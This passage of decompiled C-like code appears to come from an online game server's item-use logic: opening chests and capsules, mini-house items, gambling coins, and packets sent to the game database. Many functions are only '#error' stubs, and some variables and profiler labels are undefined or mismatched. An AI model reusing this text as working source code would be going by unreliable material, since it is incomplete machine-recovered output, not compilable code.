v7); } --funcallanalizer.fca_stackpoint; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SilverWing_PortalBlast"); __security_check_cookie((unsigned int)&_ ^ v21); } //----- (00564C50) -------------------------------------------------------- #error "564C50: undefined or illegal type '#593' (funcsize=86)" //----- (00564D80) -------------------------------------------------------- void __thiscall UseEffect::UseItemNoEffect::UseItemNoEffect(UseEffect::UseItemNoEffect *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemNoEffect::_vftable_; } // 676AE4: using guessed type int (__stdcall *UseEffect__UseItemNoEffect___vftable_)(int, int itm); //----- (00564D90) -------------------------------------------------------- #error "564D90: undefined or illegal type '#734' (funcsize=46)" //----- (00564E60) -------------------------------------------------------- #error "564E60: undefined or illegal type '#734' (funcsize=62)" //----- (00564F70) -------------------------------------------------------- unsigned __int16 __thiscall UseEffect::UseItemByTable::uib_CanUseItem(UseEffect::UseItemByTable *this, #734 *a2, ItemTotalInformation *itm) { unsigned __int16 v3; // ax@1 UseEffect::UIE_Functions *v4; // esi@2 signed int v5; // ebp@4 int v6; // ebp@4 unsigned __int16 result; // ax@5 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "UseEffect::UseItemByTable::uib_CanUseItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemByTable::uib_CanUseItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = itm->iti_itemstruct.itemid; if ( v3 < useditemeffect.uie_MaxItemID ) v4 = &useditemeffect.uie_FuncStruct[v3]; else v4 = useditemeffect.uie_FuncStruct; v5 = ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable((void *)a2, v4->useeffectstruct->UseEffectC); v6 = ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable((void *)a2, v4->useeffectstruct->UseEffectB) + v5; if ( ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable((void *)a2, v4->useeffectstruct->UseEffectA) + v6 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemByTable::uib_CanUseItem"); result = 1792; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemByTable::uib_CanUseItem"); result = 1811; } return result; } //----- (00565090) -------------------------------------------------------- #error "565090: undefined or illegal type '#734' (funcsize=308)" //----- (005655D0) -------------------------------------------------------- #error "5655D0: undefined or illegal type '#734' (funcsize=112)" //----- (00565770) -------------------------------------------------------- #error "565770: undefined or illegal type '#734' (funcsize=126)" //----- (00565930) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ChestBoxOpen(void *this, __int16 slot, int itm) { void *v3; // edi@1 char *v4; // esi@1 ZoneBaseSession *v5; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChestBoxOpen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ChestBoxOpen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13421; *((_WORD *)v4 + 1) = *((_WORD *)v3 + 2); *((_DWORD *)v4 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *((_DWORD *)v4 + 2) = *(_DWORD *)itm; *((_DWORD *)v4 + 3) = *(_DWORD *)(itm + 4); *((_WORD *)v4 + 8) = slot & 0x3FF | 0x2400; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 18) ) { v5 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v5); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_uie_ItemChest_Direct : Packet Too Long", 18); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChestBoxOpen"); } //----- (00565A40) -------------------------------------------------------- #error "565A40: undefined or illegal type '#593' (funcsize=48)" //----- (00565B10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck(void *this, int ack) { void *v2; // esi@1 int v3; // edx@1 __int16 v4; // bx@1 int v5; // ebx@1 int v6; // edi@1 __int16 v7; // ax@4 char *v8; // ebp@8 int v9; // edi@10 int v10; // edi@11 const char *v11; // eax@11 int v12; // edx@12 int v13; // eax@12 char v14; // cl@12 int v15; // ebx@12 int v16; // edi@13 __int16 v17; // ax@15 int v18; // ecx@15 int v19; // edx@15 int v20; // edx@15 void *v21; // eax@15 int v22; // eax@15 void *v23; // ecx@15 int v24; // eax@16 int v25; // edx@16 int v26; // ST1C_4@18 char v27; // al@18 ZoneBaseSession *v28; // eax@19 int v29; // edi@22 const char *v30; // eax@22 signed int v31; // [sp+18h] [bp-D0h]@22 signed int v32; // [sp+1Ch] [bp-CCh]@22 FunctionEntarance _; // [sp+30h] [bp-B8h]@1 ITEM_INVEN invenloc; // [sp+34h] [bp-B4h]@12 int v35; // [sp+38h] [bp-B0h]@10 int i; // [sp+3Ch] [bp-ACh]@8 ITEM_INVEN ivn; // [sp+40h] [bp-A8h]@15 int v38; // [sp+44h] [bp-A4h]@1 ItemBoxIterEmpty *itemiter; // [sp+48h] [bp-A0h]@10 char *v40; // [sp+4Ch] [bp-9Ch]@10 int v41; // [sp+50h] [bp-98h]@10 void *iic; // [sp+54h] [bp-94h]@15 ItemBoxIterEmpty itemitertmp; // [sp+58h] [bp-90h]@10 int iti; // [sp+68h] [bp-80h]@15 int v45; // [sp+6Ch] [bp-7Ch]@15 unsigned int v46; // [sp+D8h] [bp-10h]@1 int v47; // [sp+E4h] [bp-4h]@1 v2 = this; v46 = (unsigned int)&_ ^ __security_cookie; v38 = ack; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 8920); v4 = *(_WORD *)(ack + 14); v47 = 0; v5 = v4 & 0x3FF; v6 = (*(int (__thiscall **)(char *, int))v3)((char *)v2 + 35680, v5); if ( !v6 || *(_DWORD *)v6 != *(_DWORD *)(v38 + 6) || *(_DWORD *)(v6 + 4) != *(_DWORD *)(v38 + 10) ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2332))(v2, 1814, 9); goto LABEL_27; } v7 = *(_WORD *)(v38 + 16); if ( v7 == 2486 || v7 == 2487 ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2332))(v2, 1814, 9); ShineObjectClass::ShinePlayer::sp_DestroyItem(v2, *((_WORD *)v2 + 2), v6, ack + 14); LABEL_27: --funcallanalizer.fca_stackpoint; v47 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck"); goto LABEL_28; } (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); if ( *(_BYTE *)(v6 + 10) & 0xF0 ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_uie_ItemChest_Direct : Invalid Chest flag", (unsigned int)*(_BYTE *)(v6 + 10) >> 4); } else { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13392; *((_WORD *)v8 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_DWORD *)v8 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v8 + 14) = *(_DWORD *)v6; *(_DWORD *)(v8 + 18) = *(_DWORD *)(v6 + 4); v8[22] = 0; *((_WORD *)v8 + 6) = *((_WORD *)v2 + 28942); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); i = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v2 + 8920))((char *)v2 + 35680, v5); if ( AssertClass::operator__(&shineassert, i != 0, "ShinePlayer::sp_uie_ItemChest_Direct : Invalid cell", 0) ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2332))(v2, 1795, 9); } else { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); ItemBoxIterEmpty::ItemBoxIterEmpty( &itemitertmp, (ItemBag *)v2 + 8920, (ChargedEffectContainer *)((char *)v2 + 142688)); v9 = (int)((char *)v2 + 57880); LOBYTE(v47) = 1; itemiter = &itemitertmp; v35 = (int)((char *)v2 + 57880); v40 = (char *)v2 + 57880; v41 = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&itemiter) ) { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); v12 = *(_DWORD *)v9; v13 = *((_WORD *)v2 + 28942); invenloc.Inven = v5 & 0x3FF | 0x2400; (*(void (__thiscall **)(char *, int, int, ITEM_INVEN *, ITEM_INVEN *))(v12 + 48))( (char *)v2 + 57880, v13, i, &invenloc, &invenloc); v14 = *(_BYTE *)(v38 + 18); v15 = v38 + 19; i = 0; if ( v14 ) { v16 = (int)(v8 + 31); while ( 1 ) { if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&itemiter) ) { v29 = *(_DWORD *)v2; v30 = ShineScript::ss_String(&shinescriptetc, "PresentBoxInvenFull"); (*(void (__thiscall **)(void *, const char *))(v29 + 1924))(v2, v30); v32 = 9; v31 = 1812; v23 = v2; goto LABEL_23; } v17 = *(_WORD *)v16 & 0x3FF | 0x2400; *(_WORD *)v16 = v17; *(_WORD *)v16 = v17 ^ (v17 ^ LOWORD(itemiter->baseclass_0.ibi_finger)) & 0x3FF; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); ItemTotalInformation::iti_fill2struct_whole( (ItemTotalInformation *)&iti, &itmattcontainer.iacc_default, 0xFFFFu, (char *)(v15 + 3)); v18 = *(_BYTE *)v15; v19 = iti; *(_DWORD *)(v16 - 4) = v45; *(_DWORD *)(v16 - 8) = v19; v15 += v18 + 1; ++v8[22]; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); ivn.Inven = ivn.Inven & 0x3FF | 0x2400; v20 = *((_DWORD *)v2 + 8920); ivn.Inven ^= (ivn.Inven ^ LOWORD(itemiter->baseclass_0.ibi_finger)) & 0x3FF; v21 = (void *)(*(int (__thiscall **)(char *, int))v20)((char *)v2 + 35680, itemiter->baseclass_0.ibi_finger); iic = v21; v22 = AssertClass::operator__( &shineassert, v21 != 0, "ShinePlayer::sp_uie_ItemChest_Direct : Invalid cell", 0); v23 = v2; if ( v22 ) break; v24 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); LOWORD(v24) = *((_WORD *)v2 + 28942); (*(void (__thiscall **)(int, int, void *, int *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v35 + 56))( v35, v24, iic, &iti, &ivn, &ivn); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); v25 = *(_BYTE *)(v38 + 18); v16 += 10; ++i; if ( i >= v25 ) { v9 = v35; goto LABEL_18; } } v32 = 9; v31 = 1814; LABEL_23: (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2332))(v23, v31, v32); (*(void (__stdcall **)(_DWORD))(*(_DWORD *)v35 + 40))(*((_WORD *)v2 + 28942)); } else { LABEL_18: ++*(_WORD *)(v9 + 4); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); v26 = 10 * (unsigned __int8)v8[22] + 23; v27 = ProtocolPacket::pp_SetPacketLen(&gpp, 10 * (unsigned __int8)v8[22] + 23); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v27, "ShinePlayer::sp_uie_ItemChest_Direct : Packet Too Long", v26) ) { v28 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v28); } } } else { v10 = *(_DWORD *)v2; v11 = ShineScript::ss_String(&shinescriptetc, "PresentBoxInvenFull"); (*(void (__thiscall **)(void *, const char *))(v10 + 1924))(v2, v11); (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v2 + 2332))(v2, 1812, 9); } itemitertmp.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; } } v47 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_28: __security_check_cookie((unsigned int)&_ ^ v46); } //----- (00566010) -------------------------------------------------------- char __thiscall UseEffect::UseItemMiniHouse::uib_DirectUse(UseEffect::UseItemMiniHouse *this, #734 *a2, int slot, ItemTotalInformation *itm) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "UseEffect::UseItemMiniHouse::uib_DirectUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemMiniHouse::uib_DirectUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_Move2MiniHouse((void *)a2, slot, (int)itm); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemMiniHouse::uib_DirectUse"); return 1; } //----- (005660B0) -------------------------------------------------------- #error "5660B0: undefined or illegal type '#734' (funcsize=33)" //----- (00566150) -------------------------------------------------------- #error "566150: undefined or illegal type '#734' (funcsize=46)" //----- (00566230) -------------------------------------------------------- char __thiscall UseEffect::UseItemChest::uib_DirectUse(UseEffect::UseItemChest *this, #734 *a2, int slot, ItemTotalInformation *itm) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "UseEffect::UseItemChest::uib_DirectUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemChest::uib_DirectUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_ChestBoxOpen((void *)a2, slot, (int)itm); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemChest::uib_DirectUse"); return 1; } //----- (005662D0) -------------------------------------------------------- #error "5662D0: undefined or illegal type '#734' (funcsize=41)" //----- (00566390) -------------------------------------------------------- #error "566390: undefined or illegal type '#734' (funcsize=59)" //----- (00566490) -------------------------------------------------------- #error "566490: undefined or illegal type '#734' (funcsize=45)" //----- (00566550) -------------------------------------------------------- #error "566550: undefined or illegal type '#734' (funcsize=40)" //----- (00566610) -------------------------------------------------------- #error "566610: undefined or illegal type '#734' (funcsize=40)" //----- (005666D0) -------------------------------------------------------- #error "5666D0: undefined or illegal type '#734' (funcsize=40)" //----- (00566790) -------------------------------------------------------- #error "566790: undefined or illegal type '#734' (funcsize=45)" //----- (00566860) -------------------------------------------------------- #error "566860: undefined or illegal type '#593' (funcsize=91)" //----- (005669B0) -------------------------------------------------------- #error "5669B0: undefined or illegal type '#593' (funcsize=103)" //----- (00566B40) -------------------------------------------------------- #error "566B40: undefined or illegal type '#593' (funcsize=63)" //----- (00566C30) -------------------------------------------------------- #error "566C30: undefined or illegal type '#593' (funcsize=36)" //----- (00566CE0) -------------------------------------------------------- void __thiscall UseEffect::UseItemItemPackage::uib_Effect(UseEffect::UseItemItemPackage *this, #593 *a2, ItemTotalInformation *itm, UseEffect::UIE_Functions *funcstr) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "UseEffect::UseItemItemPackage::uib_Effect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemItemPackage::uib_Effect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemItemPackage::uib_Effect"); } //----- (00566D30) -------------------------------------------------------- #error "566D30: undefined or illegal type '#593' (funcsize=28)" //----- (00566DD0) -------------------------------------------------------- #error "566DD0: undefined or illegal type '#593' (funcsize=28)" //----- (00566E70) -------------------------------------------------------- #error "566E70: undefined or illegal type '#593' (funcsize=30)" //----- (00566F10) -------------------------------------------------------- #error "566F10: undefined or illegal type '#593' (funcsize=31)" //----- (00566FB0) -------------------------------------------------------- #error "566FB0: undefined or illegal type '#734' (funcsize=94)" //----- (00567150) -------------------------------------------------------- #error "567150: undefined or illegal type '#593' (funcsize=28)" //----- (005671F0) -------------------------------------------------------- #error "5671F0: undefined or illegal type '#593' (funcsize=28)" //----- (00567290) -------------------------------------------------------- void __thiscall UseEffect::UseItemVariationProtocolBase::uib_AfterCast(UseEffect::UseItemVariationProtocolBase *this, #734 *a2, ItemBag *inventory, ItemDataBox::ItemDataBoxIndex *itminf, char invenslot) { UseEffect::UseItemVariationProtocolBase *v5; // esi@1 ItemBagVtbl *v6; // eax@1 int v7; // eax@1 unsigned __int16 v8; // cx@1 int v9; // edi@1 unsigned __int16 v10; // dx@1 int v11; // eax@1 int v12; // eax@3 unsigned int v13; // ebx@5 int v14; // edi@5 char *v15; // esi@5 bool v16; // zf@5 void *v17; // eax@6 int v18; // ebx@6 void *v19; // eax@7 int v20; // edx@7 int v21; // eax@7 char *v22; // esi@7 int v23; // ecx@7 int v24; // edi@7 void *v25; // eax@7 unsigned __int16 v26; // cx@7 ItemAttributeClass *v27; // edx@7 ZoneBaseSession *v28; // eax@10 int v29; // esi@12 int v30; // edi@12 int v31; // eax@12 int v32; // edi@13 int v33; // eax@13 int v34; // edi@14 int v35; // eax@14 int v36; // eax@14 ITEM_INVEN iteminven; // [sp+34h] [bp-518h]@11 int v38; // [sp+38h] [bp-514h]@1 int invcell; // [sp+3Ch] [bp-510h]@1 int itemlot; // [sp+40h] [bp-50Ch]@1 char *nc; // [sp+44h] [bp-508h]@5 void *iac; // [sp+48h] [bp-504h]@7 UseEffect::UseItemVariationProtocolBase *v43; // [sp+4Ch] [bp-500h]@1 FunctionEntarance _; // [sp+50h] [bp-4FCh]@1 char iti; // [sp+54h] [bp-4F8h]@7 unsigned __int16 itmid[2]; // [sp+5Ch] [bp-4F0h]@7 __int16 v47; // [sp+C0h] [bp-48Ch]@7 char v48; // [sp+C2h] [bp-48Ah]@7 char iteminfo; // [sp+C4h] [bp-488h]@11 char v50; // [sp+CCh] [bp-480h]@13 __int16 v51; // [sp+130h] [bp-41Ch]@11 char v52; // [sp+132h] [bp-41Ah]@11 char tBuf[1024]; // [sp+134h] [bp-418h]@5 unsigned int v54; // [sp+538h] [bp-14h]@1 int v55; // [sp+548h] [bp-4h]@1 int v56; // [sp+54Ch] [bp+0h]@1 v54 = (unsigned int)&v56 ^ __security_cookie; v5 = this; v43 = this; v38 = (int)a2; _.fe_FunctionCode = "UseEffect::UseItemVariationProtocolBase::uib_AfterCast"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "UseEffect::UseItemVariationProtocolBase::uib_AfterCast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemVariationProtocolBase::uib_AfterCast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = inventory->vfptr; v55 = 0; v7 = v6->ib_GetInventoryCell(inventory, (unsigned __int8)invenslot); v8 = itminf->data->ID; v9 = v7; v10 = *(_WORD *)(v7 + 8); v11 = v7 + 8; itemlot = v8; invcell = v9; if ( v10 == v8 ) { v12 = (*(int (__thiscall **)(_DWORD, int))(**(_DWORD **)(v9 + 112) + 24))(*(_DWORD *)(v9 + 112), v11); itemlot = v12; if ( v12 > 0 ) { v13 = ((int (__thiscall *)(UseEffect::UseItemVariationProtocolBase *, _DWORD))v5->baseclass_0.baseclass_0.vfptr[1].uib_CanUseItem)( v5, tBuf) - 19; nc = gpp.pp_Buffer; memcpy(gpp.pp_Buffer, tBuf, v13); v14 = v38; v15 = nc; *(_DWORD *)&nc[v13 + 2] = (*(int (__thiscall **)(int))(*(_DWORD *)v38 + 836))(v38); v16 = itemlot == 1; *(_WORD *)&v15[v13] = *(_WORD *)(v14 + 4); if ( v16 ) { v17 = (void *)invcell; v15[v13 + 20] = 1; *(_DWORD *)&v15[v13 + 6] = *(_DWORD *)v17; *(_DWORD *)&v15[v13 + 10] = *((_DWORD *)v17 + 1); *(_WORD *)&v15[v13 + 18] = *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v14 + 2004))(v14) + 4); v18 = v13 + 21; } else { v19 = *(void **)(invcell + 112); memcpy(&iti, (const void *)invcell, 0x6Cu); v47 = *(_WORD *)(invcell + 108); v48 = *(_BYTE *)(invcell + 110); v20 = *(_DWORD *)v19; iac = v19; v21 = (*(int (__thiscall **)(void *, unsigned __int16 *))(v20 + 24))(v19, itmid); (*(void (__stdcall **)(unsigned __int16 *, int))(*(_DWORD *)iac + 28))(itmid, v21 - 1); v22 = nc; v23 = v38; nc[v13 + 20] = 0; v24 = (int)&v22[v13 + 21]; *(_WORD *)&v22[v13 + 18] = *(_WORD *)((*(int (**)(void))(*(_DWORD *)v23 + 2004))() + 4); v25 = (void *)invcell; *(_DWORD *)&v22[v13 + 6] = *(_DWORD *)invcell; v26 = itmid[0]; *(_DWORD *)&v22[v13 + 10] = *((_DWORD *)v25 + 1); v27 = (ItemAttributeClass *)iac; *(_WORD *)&v22[v13 + 14] = *((_WORD *)v25 + 4); *(_WORD *)&v22[v13 + 16] = v24 - (_WORD)v22 - 1; v18 = (int)(&ItemTotalInformation::iti_fill2buffer_atrib((ItemTotalInformation *)&iti, v27, v26, &v22[v13 + 21])[v13 + 21] - v24); } if ( ProtocolPacket::pp_SetPacketLen(&gpp, v18) ) { v28 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v28); } else { AssertClass::ac_AssertFail( &shineassert, "UseEffect::UseItemVariationProtocolBase::uib_AfterCast : Packet Too Long", v18); } iteminven.Inven = (unsigned __int8)invenslot | 0x2400; memcpy(&iteminfo, (const void *)invcell, 0x6Cu); v51 = *(_WORD *)(invcell + 108); v52 = *(_BYTE *)(invcell + 110); if ( itemlot > 1 ) { (*(void (__stdcall **)(char *, int))(**(_DWORD **)(invcell + 112) + 28))(&v50, itemlot - 1); v29 = v38; v32 = (*(int (__thiscall **)(int))(*(_DWORD *)v38 + 2004))(v38); v33 = (*(int (__thiscall **)(int))(*(_DWORD *)v29 + 2004))(v29); LOWORD(v33) = *(_WORD *)(v33 + 4); (*(void (__thiscall **)(int, int, int, char *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v32 + 56))( v32, v33, invcell, &iteminfo, &iteminven, &iteminven); } else { v29 = v38; v30 = (*(int (__thiscall **)(int))(*(_DWORD *)v38 + 2004))(v38); v31 = (*(int (__thiscall **)(int))(*(_DWORD *)v29 + 2004))(v29); (*(void (__thiscall **)(int, _DWORD, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v30 + 48))( v30, *(_WORD *)(v31 + 4), invcell, &iteminven, &iteminven); } v34 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v29 + 2004))(v29); v35 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v29 + 2004))(v29); (*(void (__thiscall **)(int, _DWORD, char *, ITEM_INVEN *, UseEffect::UseItemVariationProtocolBase *))(*(_DWORD *)v34 + 80))( v34, *(_WORD *)(v35 + 4), &iteminfo, &iteminven, v43); v36 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v29 + 2004))(v29); ++*(_WORD *)(v36 + 4); } else { AssertClass::ac_AssertFail(&shineassert, "UseEffect::UseItemVariationProtocolBase::uib_AfterCast : Zero lot", v12); ((void (__thiscall *)(UseEffect::UseItemVariationProtocolBase *, int, signed int))v5->baseclass_0.baseclass_0.vfptr[1].uib_DirectUse)( v5, v38, 1794); } } else { AssertClass::ac_AssertFail( &shineassert, "UseEffect::UseItemVariationProtocolBase::uib_AfterCast : Item Changed", v10, itemlot); ((void (__thiscall *)(UseEffect::UseItemVariationProtocolBase *, int, signed int))v5->baseclass_0.baseclass_0.vfptr[1].uib_DirectUse)( v5, v38, 1794); } --funcallanalizer.fca_stackpoint; v55 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "UseEffect::UseItemVariationProtocolBase::uib_AfterCast"); } //----- (00567660) -------------------------------------------------------- #error "567660: undefined or illegal type '#734' (funcsize=51)" //----- (00567740) -------------------------------------------------------- char __thiscall UseEffect::UseItemGBCoin::uib_DirectUse(UseEffect::UseItemGBCoin *this, #734 *a2, int slot, ItemTotalInformation *itm) { int v4; // ebp@0 int v5; // edi@0 char result; // al@2 int v7; // [sp+8h] [bp-Ch]@0 int v8; // [sp+Ch] [bp-8h]@0 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "UseEffect::UseItemCoin::uib_AfterCast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemCoin::uib_AfterCast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) { ShineObjectClass::ShinePlayer::sp_Gamble_UseCoinItem( (int)a2, v4, v5, slot, (int)itm, (int)"UseEffect::UseItemCoin::uib_AfterCast", v7, v8); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemCoin::uib_AfterCast"); result = 1; } else { (*(void (__stdcall **)(_DWORD, _DWORD))(v0 + 2332))(1793, 9); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemCoin::uib_AfterCast"); result = 0; } return result; } //----- (00567830) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CapsuleItemOpen(void *this, __int16 slot, int itm) { void *v3; // edi@1 char *v4; // esi@1 ZoneBaseSession *v5; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChestBoxOpen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ChestBoxOpen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13474; *((_WORD *)v4 + 1) = *((_WORD *)v3 + 2); *((_DWORD *)v4 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *((_DWORD *)v4 + 2) = *(_DWORD *)itm; *((_DWORD *)v4 + 3) = *(_DWORD *)(itm + 4); *((_WORD *)v4 + 8) = slot & 0x3FF | 0x2400; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 18) ) { v5 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v5); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_uie_ItemChest_Direct : Packet Too Long", 18); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChestBoxOpen"); } //----- (00567940) -------------------------------------------------------- #error "567940: undefined or illegal type '#593' (funcsize=48)" //----- (00567A10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_CapsuleItemOpenAck(void *this, int pAck) { void *v2; // esi@1 __int16 v3; // ax@1 __int16 v4; // bx@3 int v5; // eax@3 int v6; // ebp@3 char *v7; // edi@8 int v8; // ebp@8 int v9; // edi@9 const char *v10; // eax@9 int v11; // edx@10 int v12; // eax@10 int v13; // ebx@10 char v14; // al@12 ZoneBaseSession *v15; // eax@13 char *v16; // [sp+10h] [bp-C4h]@4 ITEM_INVEN invenloc; // [sp+24h] [bp-B0h]@1 ITEM_INVEN ivn; // [sp+28h] [bp-ACh]@10 FunctionEntarance _; // [sp+2Ch] [bp-A8h]@1 int iic; // [sp+30h] [bp-A4h]@3 ItemBoxIterEmpty *itemiter; // [sp+34h] [bp-A0h]@8 char *v22; // [sp+38h] [bp-9Ch]@8 int v23; // [sp+3Ch] [bp-98h]@8 int v24; // [sp+40h] [bp-94h]@1 ItemBoxIterEmpty itemitertmp; // [sp+44h] [bp-90h]@8 int iti; // [sp+54h] [bp-80h]@10 int v27; // [sp+58h] [bp-7Ch]@10 unsigned int v28; // [sp+C4h] [bp-10h]@1 int v29; // [sp+D0h] [bp-4h]@1 v2 = this; v28 = (unsigned int)&invenloc ^ __security_cookie; v24 = pAck; _.fe_FunctionCode = 